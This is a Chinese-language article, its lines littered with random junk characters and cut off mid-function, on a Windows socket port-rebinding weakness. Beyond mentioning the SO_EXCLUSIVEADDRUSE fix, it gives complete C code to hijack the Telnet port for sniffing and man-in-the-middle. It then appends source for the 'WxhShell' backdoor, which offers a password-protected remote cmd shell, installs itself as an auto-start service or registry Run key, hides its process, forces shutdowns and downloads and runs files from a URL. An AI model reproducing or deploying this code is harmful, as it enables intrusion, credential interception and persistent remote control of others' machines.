在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
%=eD)p7l- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
<u/({SZ& rWmi 'niu saddr.sin_family = AF_INET;
tJ=zk3BN~ M)Q+_c2* saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Vp4] swbD q bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
YHAg4eb8 $ayD55W4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
D8XXm lo +q%goG8 这意味着什么?意味着可以进行如下的攻击:
IvH+94[)
jK1!
\j 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
El}z^e r{&"]'/X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
1_]l|`Po e|y~q0Q$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
w Vmy`OV/ nzDY!Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@S):a`J <Ux;dekz} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:gv#_[k 8 EH3zm4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
bc-}Qn z8MYgn7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
_?<Fc8F e0 EJ[bG #include
F4Z0g*^x #include
,/9|j*9H #include
Mq$=zsj #include
vj0?b/5m DWORD WINAPI ClientThread(LPVOID lpParam);
5Px_vtqP int main()
OD|&qsbL {
]uf_"D WORD wVersionRequested;
P*]g*&*Y + DWORD ret;
;oE4, WSADATA wsaData;
Lq^/Z4L BOOL val;
1]~}0;, SOCKADDR_IN saddr;
uM#/ SOCKADDR_IN scaddr;
mQJ GKh&Pk int err;
dGjvSK<1@ SOCKET s;
K2Zy6lGOZ SOCKET sc;
d?.x./1[qi int caddsize;
R\?!r4 HANDLE mt;
_Qas+8NW DWORD tid;
24fWj?A| ^ wVersionRequested = MAKEWORD( 2, 2 );
{ q<l]jn9 err = WSAStartup( wVersionRequested, &wsaData );
v>R.ou( if ( err != 0 ) {
=c'LG printf("error!WSAStartup failed!\n");
[XK"$C]jHJ return -1;
&5<lQ1 }
#$E
vybETx saddr.sin_family = AF_INET;
2$ =HDwv 3WS %H17 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
C54)eT6 _u;
UU$~
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
B%/Pn
2 saddr.sin_port = htons(23);
\Qn8"I83AV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P2kZi=0 {
huIr*)r&p printf("error!socket failed!\n");
lvlH5Fc return -1;
%iv'/B8 }
wd *Jq val = TRUE;
&\r%&IX/ //SO_REUSEADDR选项就是可以实现端口重绑定的
$? Rod; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
q[lqEc {
?~Des"F6)1 printf("error!setsockopt failed!\n");
-_(! return -1;
zO,sq%vQn' }
/^"TMm //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
hAdEq$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>xN^#$ng} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
gUcE,L CgWj9 [ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Pcc%VQN {
gMbvHlT ret=GetLastError();
Z[VKB3Pb8 printf("error!bind failed!\n");
g@L4G?hLn return -1;
(Lp-3Xx }
K^ lVng listen(s,2);
Ge x^\gf while(1)
%oo&M; {
{T9g\F* caddsize = sizeof(scaddr);
kMA>)\ //接受连接请求
tznT*EQr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
jWz-7BO if(sc!=INVALID_SOCKET)
\?ZdUY {
JcP'+@X" mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
nJnan,`W if(mt==NULL)
7>'F=}6[Y {
g=.5*'Xlp printf("Thread Creat Failed!\n");
*HRRv.iQ break;
lMP7o& }
F-6*
BUqJ }
?#'qY6 ^ CloseHandle(mt);
WBGYk); }
,\M'jV"SK closesocket(s);
?g&]*zc^\ WSACleanup();
\ gN) GR return 0;
|w5#a_adM }
<}=D ?bXw DWORD WINAPI ClientThread(LPVOID lpParam)
h$!qb'| {
vR,'': SOCKET ss = (SOCKET)lpParam;
^iTA40K SOCKET sc;
)UeG2dXx7 unsigned char buf[4096];
{D@y-K5 SOCKADDR_IN saddr;
`e bB+gI long num;
DEBgb DWORD val;
vlD]!]V:h DWORD ret;
=YBJ7.Y //如果是隐藏端口应用的话,可以在此处加一些判断
I6\3wU~). //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
\?o%<c5{ saddr.sin_family = AF_INET;
I.>LG saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
3Rm$ saddr.sin_port = htons(23);
$#!~K2$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
YANEdH`d {
86Rit!ih printf("error!socket failed!\n");
Vl EkT9^: return -1;
&
2bf }
JjwuxZVr O val = 100;
><=af 9T if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[Xrq+O, {
cE3co(j ret = GetLastError();
1li`+~L
F return -1;
(#:Si~3 }
;9~z_orNQZ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}yw\+fc {
GHkSU;}) ret = GetLastError();
p#&6Ed*V return -1;
'D4NPG`z }
8WH> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
KQqlM {
G`n-WP printf("error!socket connect failed!\n");
zt8ZJlNK closesocket(sc);
/\9Kr;@vk closesocket(ss);
Z_;' r|c return -1;
[Yv5Sw }
YP7<j*s8 while(1)
z7CYYU? {
%nIjRmqM~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
oeIS&O.K //如果是嗅探内容的话,可以再此处进行内容分析和记录
M]W4S4&Y= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
rEViw?^KT num = recv(ss,buf,4096,0);
S.I<Hs if(num>0)
<[q)2 5RL send(sc,buf,num,0);
A-~)7- else if(num==0)
&qr7yyY break;
oH;Y} h num = recv(sc,buf,4096,0);
F,D& if(num>0)
V$@2:@8mo send(ss,buf,num,0);
vD(;VeW[ else if(num==0)
VS`S@+p break;
dU\fC{1Z }
* n[6H closesocket(ss);
=:b/z1-v closesocket(sc);
#: F)A_Y return 0 ;
o
2DnkzpJ }
1ID!rxE #y?z2! "[%NXan ==========================================================
j}|6k6t =}L[/ RL 下边附上一个代码,,WXhSHELL
~2qFA2 <I>q1m?KN ==========================================================
C$5v:Fk :sn}D~ #include "stdafx.h"
`SVR_ D&'".N,} #include <stdio.h>
FUH1Z+9 #include <string.h>
Y,a.9AWw) #include <windows.h>
@.5Ybgn #include <winsock2.h>
_V;J7Vz #include <winsvc.h>
wjl?@K
#include <urlmon.h>
Kb}N!<Z* u0x\5!?2 #pragma comment (lib, "Ws2_32.lib")
i"b*U5k #pragma comment (lib, "urlmon.lib")
Y8d%L;b[D <
;g0?M\ #define MAX_USER 100 // 最大客户端连接数
{ sZrI5 #define BUF_SOCK 200 // sock buffer
kN_LD- #define KEY_BUFF 255 // 输入 buffer
r8xH A !b7H #define REBOOT 0 // 重启
]*@7o^4i #define SHUTDOWN 1 // 关机
Kq1sGk |9g*rO #define DEF_PORT 5000 // 监听端口
rUyT5Vf )yK!EK\ #define REG_LEN 16 // 注册表键长度
^cY5!W.q8 #define SVC_LEN 80 // NT服务名长度
DJ\lvT#j ~(^[TuJC // 从dll定义API
HiWZ?G typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:\>UZ9h # typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
o;O_N^_W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
B<oi,S typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Ywni2-)< 3w-0v"j U // wxhshell配置信息
VTF),e! struct WSCFG {
[-%oO int ws_port; // 监听端口
:S%|^QAN char ws_passstr[REG_LEN]; // 口令
UeVF@rw int ws_autoins; // 安装标记, 1=yes 0=no
6"wY;E char ws_regname[REG_LEN]; // 注册表键名
ZHZ>YSqCS char ws_svcname[REG_LEN]; // 服务名
mX#T<_=d char ws_svcdisp[SVC_LEN]; // 服务显示名
!ine|NM char ws_svcdesc[SVC_LEN]; // 服务描述信息
)S`A+M K] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
M_PL{ int ws_downexe; // 下载执行标记, 1=yes 0=no
bi_R.sfK& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
MXhS\vF#m char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9|go`^*. /E*P0y~KTW };
)~Q$ tM` s^AYPmR6 // default Wxhshell configuration
UqAvFCy struct WSCFG wscfg={DEF_PORT,
w0.#/6 "xuhuanlingzhe",
0D\FFfs 1,
f[z#=zv "Wxhshell",
3U}z?gP[ "Wxhshell",
CfVz' "WxhShell Service",
{d3r>Ub)7d "Wrsky Windows CmdShell Service",
=\q3;5[ "Please Input Your Password: ",
rsIjpPa 1,
^RY_j>i "
http://www.wrsky.com/wxhshell.exe",
UgUW4x'+ "Wxhshell.exe"
yn7n };
8>w/Es5 .Wr7?'D1M // 消息定义模块
:>cJ[K?0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'al-C;Z char *msg_ws_prompt="\n\r? for help\n\r#>";
>- :U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
f>RPh bq| char *msg_ws_ext="\n\rExit.";
gs. K,x ma char *msg_ws_end="\n\rQuit.";
DF-og*V char *msg_ws_boot="\n\rReboot...";
5Po.&eS char *msg_ws_poff="\n\rShutdown...";
ZGS=;jM char *msg_ws_down="\n\rSave to ";
t!K|3>w tV<Au char *msg_ws_err="\n\rErr!";
t!PFosFp char *msg_ws_ok="\n\rOK!";
Wy|=F~N rm2TWM| char ExeFile[MAX_PATH];
KLoHjBq int nUser = 0;
Y H?>2u HANDLE handles[MAX_USER];
pE=wP/# int OsIsNt;
Im#3sn fc
M~4yP? SERVICE_STATUS serviceStatus;
3fGy SERVICE_STATUS_HANDLE hServiceStatusHandle;
?.4u'Dkn= O/GD[9$i // 函数声明
> sUk6Z~ int Install(void);
al^ yCoB int Uninstall(void);
D7=gUm> int DownloadFile(char *sURL, SOCKET wsh);
94n,13 int Boot(int flag);
jdhhvoQ void HideProc(void);
9'T(Fc int GetOsVer(void);
)2R:P`U int Wxhshell(SOCKET wsl);
Z'u`)jR void TalkWithClient(void *cs);
rMI:zFS int CmdShell(SOCKET sock);
GSMP)8W int StartFromService(void);
WJ
mj|$D int StartWxhshell(LPSTR lpCmdLine);
nc`[f y|} `OBDx ^6F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
QK;A>] VOID WINAPI NTServiceHandler( DWORD fdwControl );
6-<r@{m$ '&UX'Dd~Q // 数据结构和表定义
Haturg SERVICE_TABLE_ENTRY DispatchTable[] =
yvVs9"|0 {
LEk
W^Mv {wscfg.ws_svcname, NTServiceMain},
rR."_Z2 {NULL, NULL}
>SccoI };
VNPuO U= (0Y6tcV]R // 自我安装
~DCw
[y int Install(void)
hmks\eb~ {
\l#=p+x5 char svExeFile[MAX_PATH];
}B"kJNxV HKEY key;
Z EG strcpy(svExeFile,ExeFile);
u<):gI k8w8I$QEM // 如果是win9x系统,修改注册表设为自启动
Iy"
if(!OsIsNt) {
y\ouIsI77 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
96 C|R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
n#m )]YQC RegCloseKey(key);
2p@S-Lp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>YLwWU<X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:^px1 RegCloseKey(key);
4Jht{#IIG return 0;
B:Msn)C~ }
sfx:j~bsL }
QHA<7Wg }
rU(N@i% else {
lQ@2s[ +8v!vuO' // 如果是NT以上系统,安装为系统服务
]2tX'=X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
k~:B3p if (schSCManager!=0)
8_W<BXW {
tV%M2DxS SC_HANDLE schService = CreateService
}`>u+iH#a (
<Y9ps`{}: schSCManager,
'%)7%O,2 wscfg.ws_svcname,
cl^tX% wscfg.ws_svcdisp,
zX|CW; SERVICE_ALL_ACCESS,
F!N;4J5u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
e PlEd'Z SERVICE_AUTO_START,
)PR{ia64;< SERVICE_ERROR_NORMAL,
Z1*y$=D?3[ svExeFile,
nIXq2TzJ NULL,
RaG-9gujI NULL,
+xB!T1pD NULL,
e>Is$+[`7 NULL,
QIGMP=!j NULL
spgY &OI; );
:MpIx& if (schService!=0)
!*N#}6Jd {
0E{$u CloseServiceHandle(schService);
+d]} CloseServiceHandle(schSCManager);
u|B\@"0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\O`B@!da~ strcat(svExeFile,wscfg.ws_svcname);
hE+6z%A8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
%I[(`nb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
.-fJ\`^mi RegCloseKey(key);
hyFq>XFo return 0;
TRG"fVR }
GIt;Y }
m?bb/o'B CloseServiceHandle(schSCManager);
Q:lSKf }
Lab{?!E>U }
8qo{% OP%h` return 1;
;OE{& }
NC|&7qQ |$^,e%bE // 自我卸载
1u'x|Un int Uninstall(void)
8K7zh.E {
rB)m{) HKEY key;
'GS1"rkW<5 p%_r0 if(!OsIsNt) {
DBbmM*r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j=M_> RegDeleteValue(key,wscfg.ws_regname);
0g~WM RegCloseKey(key);
^=}~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
E.t9F3 RegDeleteValue(key,wscfg.ws_regname);
{ SJ=|L6 RegCloseKey(key);
AZxOq !B return 0;
{PWz:\oaD }
pNCk~OM }
!JJCG }
_ i.CvYe else {
JaiYVx( kfM}j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
n-}.Yc if (schSCManager!=0)
)
^!oM {
Y?R;Y:u3Z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
n!A')]y" if (schService!=0)
ycIT=AFYqd {
@| qnD if(DeleteService(schService)!=0) {
`N;u#z CloseServiceHandle(schService);
0q>f x CloseServiceHandle(schSCManager);
;Hv#SRSz return 0;
>pT92VN }
` L6H2:pf CloseServiceHandle(schService);
^7vhize }
n +`( R]Q CloseServiceHandle(schSCManager);
J9mLW}I?NW }
r"zW=9 O= }
l3)(aay! z@{|Y;s return 1;
I^ppEgYSY }
3JWHyo L5]*ZCDv // 从指定url下载文件
6P3ezl@#; int DownloadFile(char *sURL, SOCKET wsh)
rKP"|+^ {
9v_gR52vh HRESULT hr;
x.<^L] " char seps[]= "/";
!f V.#9AB# char *token;
8HxB\ !0F? char *file;
&H-39;?u char myURL[MAX_PATH];
VgN`'
iC`I char myFILE[MAX_PATH];
ig7)VKr g*AnrQ}P strcpy(myURL,sURL);
6oL-Atf token=strtok(myURL,seps);
KAO}*? while(token!=NULL)
Hvnak{5 {
#B&D file=token;
72@8M token=strtok(NULL,seps);
{uDL"~^\ }
ak;fCx& hJrxb<9@Y0 GetCurrentDirectory(MAX_PATH,myFILE);
P5%DvZB$w strcat(myFILE, "\\");
AuX& strcat(myFILE, file);
tQF7{F-} send(wsh,myFILE,strlen(myFILE),0);
k$7-F3 send(wsh,"...",3,0);
W#8qhmt hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
L/c$p`- if(hr==S_OK)
}$Q+x' return 0;
t&ztY]
qh else
xEOR\(Z^ return 1;
6Bo~7gnc DOw<
XlvC }
_2<|0lvh f]0kG // 系统电源模块
9c}LG5 int Boot(int flag)
,D
[ {
LyS139P$ HANDLE hToken;
f>;5ZE4Zu TOKEN_PRIVILEGES tkp;
tI{pu}/"# +pnT6kU| if(OsIsNt) {
)><cL:IJ}S OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
t'Nu^_# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|0b$60m$!t tkp.PrivilegeCount = 1;
GQ$0`?lp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
aGr(djD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)Mi#{5z if(flag==REBOOT) {
T=ox;r if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+7|Oy3s return 0;
BO#fzq% }
fp:j~a>E else {
'_4u,
\SG if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
!,V8?3.aJn return 0;
&bRmr/D }
^8
AV #a }
'i%Azzv else {
13}=;4O if(flag==REBOOT) {
S2*-UluG if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
H*A)U'` return 0;
) Z0 }
/?9e{,\s else {
A&Ut:OiA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
0d9rJv}~ return 0;
\@*cj8e }
RIC'JLWQ }
&dbX>u q 6(ju!pE` return 1;
/7h}_zs6 }
0;!aO.l]K tZk@ RX // win9x进程隐藏模块
(=)+as"u9* void HideProc(void)
>M[rOu
(d {
Oa$ew' IgLP=mqcWK HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
gA`/t e if ( hKernel != NULL )
?F(t`0= {
MP w@O0QS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>Cb% `pe ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
$_S^Aw? FreeLibrary(hKernel);
V.1sb
pI
}
~*L H[l>K R
7xV{o return;
f]J?-ks }
c)rI[P7Q kFw3'OZ, // 获取操作系统版本
{1#5\t>9yD int GetOsVer(void)
Nr|.]=K)5n {
-XPGl OSVERSIONINFO winfo;
]\+bx= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Gvtd )9^< GetVersionEx(&winfo);
&.K8cphj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
jO3Q@N0_ return 1;
8ftLYMX@ else
rQ30)5^V| return 0;
:*/<eT_ }
gG*O&gQY p!hewtb5 // 客户端句柄模块
85w
D<bN27 int Wxhshell(SOCKET wsl)
q.K >v' {
M\enjB7k SOCKET wsh;
9/~m837x struct sockaddr_in client;
^Ac0#oX]M DWORD myID;
pZlBpGQf %vxd($Ti" while(nUser<MAX_USER)
1Q#hanh_` {
P]yER9' int nSize=sizeof(client);
_&19OD% wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
l1gAm # if(wsh==INVALID_SOCKET) return 1;
FT[wa-b U5dJ=G handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
y!blp>V6 if(handles[nUser]==0)
CW*6 -q closesocket(wsh);
U87VaUr else
*h@nAB\3 nUser++;
<saS2.4 }
)#xd]~< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
dm8veKW'l :*0k:h6g return 0;
;yBq'_e3 }
Y 0$m~}j wD22@uM#] // 关闭 socket
rnmWw# void CloseIt(SOCKET wsh)
H+zQz8zMC {
O JvEq@ closesocket(wsh);
uLe+1`Y5Ux nUser--;
9oKRu6]D- ExitThread(0);
*>$'aQ }
sFC1PdSk4T A>R ^iu // 客户端请求句柄
}\J oE4 void TalkWithClient(void *cs)
nITr5$f {
riFE.; rouD"cy SOCKET wsh=(SOCKET)cs;
nFw&vR/q char pwd[SVC_LEN];
dWI/X char cmd[KEY_BUFF];
4w2V["?X1 char chr[1];
f>#\'+l' int i,j;
A5ktbj&gy< >+#TsX{ while (nUser < MAX_USER) {
]L}<Y9)t b.8HGt<% if(wscfg.ws_passstr) {
hL67g if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#)my)}o\p //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
V
[[B~Rs //ZeroMemory(pwd,KEY_BUFF);
v*FCE 1HI i=0;
SDA
+XnmH while(i<SVC_LEN) {
Da?0B9' k(u W( 6 // 设置超时
{;f`t3D fd_set FdRead;
@B7; struct timeval TimeOut;
_ky!4^B FD_ZERO(&FdRead);
0kmVP~K FD_SET(wsh,&FdRead);
~4XJ" d3L TimeOut.tv_sec=8;
n)$ q*IN" TimeOut.tv_usec=0;
@^k$`W; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5IVASqYp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r[EN`AxDb <0JW[m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
<9\_b6 pwd
=chr[0]; zh*NRN
if(chr[0]==0xd || chr[0]==0xa) { hh:0m\@<
pwd=0; _Xsn1
break; J5@_OIc1y
}
mEyZ<U9
i++; A3C<9wXx
} ?|N:[.
e)cmZ8~S
// 如果是非法用户,关闭 socket Tg{d#U_qB
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 90K&s#+13
} w y:.
2s|[!:L5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {P1W{|
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @>X."QbE
&EA4`p
while(1) { )oAK)e
pf] sL/g
ZeroMemory(cmd,KEY_BUFF); Kc{fT^E
m"H9C-Y
// 自动支持客户端 telnet标准 Xa9G;J$
j=0; h=d&@k\g
while(j<KEY_BUFF) { 4;w_o9o
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L_ 8C=MS
cmd[j]=chr[0]; 5#QB&A>
if(chr[0]==0xa || chr[0]==0xd) { 4V43(G
cmd[j]=0; #G)ZhgB^
break; -qid.
} A4%0
j++; =1`
} k9yA#
O?8G
// 下载文件 xV<NeU
if(strstr(cmd,"http://")) { MttVgNV
send(wsh,msg_ws_down,strlen(msg_ws_down),0); <aL$d7
if(DownloadFile(cmd,wsh)) X@|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ro^Y$;G
else vERsrg;(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?=Ma7 y
} "b-6kM
else { R:^GNra;
b4oZ@gVR;
switch(cmd[0]) { F
=d L#@^
X1tAV>k5'L
// 帮助 U{i9h6b"18
case '?': { {U-VInu
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WlWBYnphZs
break;
<&$!;d8
} ^XZmtB
// 安装
LL kAA?P
case 'i': { B1*%pjy
if(Install()) "xnek8F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a&PoUwG
else (Ozb +W?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TtkB
break; E$smr\
} Oyj!N`&z@
// 卸载 2\EMtR>.M'
case 'r': { |iO2,99i
if(Uninstall()) 8M(N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {%UY1n
else (_U&EX%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N
@]*E
break; lyv9eM
} 1)%9h>F7
// 显示 wxhshell 所在路径 s{<rc>
case 'p': { MEq
()}7P
char svExeFile[MAX_PATH]; 0D$+WX
strcpy(svExeFile,"\n\r"); 6j_
A{*~Ng
strcat(svExeFile,ExeFile); LT2mwJl
send(wsh,svExeFile,strlen(svExeFile),0); WmOd1
break; J^0co1Y0
} d-xKm2sH
// 重启 {9'"!fH
case 'b': { `|v0@-'$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N \A)P
if(Boot(REBOOT)) 5vg@zH\z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -pa.-@
else { w7w$z_P
closesocket(wsh); I:AlM?
ExitThread(0); NWX~@Rg
}
uop_bJ
break; I?l*GO+pz
} >$HMZbsE
// 关机 a/`fJY6rR
case 'd': { 4.CLTy3W
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GD~3RnGQ{
if(Boot(SHUTDOWN)) 7m@pdq5Ub
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "+Xwc+v^
else { ad
i5h
closesocket(wsh); s~M!yuH
ExitThread(0); t2tH%%Rs
} s+Ln>c'|o
break; B>AIec\jG
}
`^F'af
// 获取shell >.J68x
case 's': { <[l2 ]"Q
CmdShell(wsh); M*aE)D '
closesocket(wsh); .^P^lQT]>
ExitThread(0); m!E36ce}
break; lE=Q(QUr
} ]#S.L'
// 退出 \p [!@d^
case 'x': { _RY<-B
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LdVGFlcXi
CloseIt(wsh); r")=Z1y
break; VaSw}q/o:/
} 9r\8 !R
// 离开 ^ /:]HG
case 'q': { 8>Ervi`
send(wsh,msg_ws_end,strlen(msg_ws_end),0); v%86JUlK.
closesocket(wsh); +z("'Cv
WSACleanup(); P%B1dRa
exit(1); r`wL_>"{n
break; U{eC^yjt"o
} bKG:_mWe w
} ~g>15b3
} Tff7SEP
.- c3f1i
// 提示信息 ~iF*+\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x1mxM#ql
} C2ToT \^
} dpJi5fN
Mr/^V,rA
return; >G/>:wwSP.
} MH{vFA4:,
mj5A*%"W
// shell模块句柄 D1#E&4
int CmdShell(SOCKET sock) ((;9%F:/$
{ YfF&: "-NU
STARTUPINFO si; [J-r*t"!
ZeroMemory(&si,sizeof(si)); gjyg`%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]WyV~Dzz<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b^hCm`2w*
PROCESS_INFORMATION ProcessInfo; }[ux4cd8Y
char cmdline[]="cmd"; ot(|t4^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LUS7-~:F
return 0; 90I)"vfW5
} '>'h7F=tY
EkWe6m
// 自身启动模式 Qpf BM
int StartFromService(void) U|U/B
{ Ob0=ZW`+&
typedef struct a;/4 ht
{ &~||<0m
DWORD ExitStatus; >fs-_>1d
DWORD PebBaseAddress; v`beql
DWORD AffinityMask; jnH44
DWORD BasePriority; ecf<(Vl}
ULONG UniqueProcessId; >[
72]<6
ULONG InheritedFromUniqueProcessId; 3^1)W!n/
} PROCESS_BASIC_INFORMATION; SL@Vk(
W,AI E6F
PROCNTQSIP NtQueryInformationProcess; zL)S,
6@bGh|
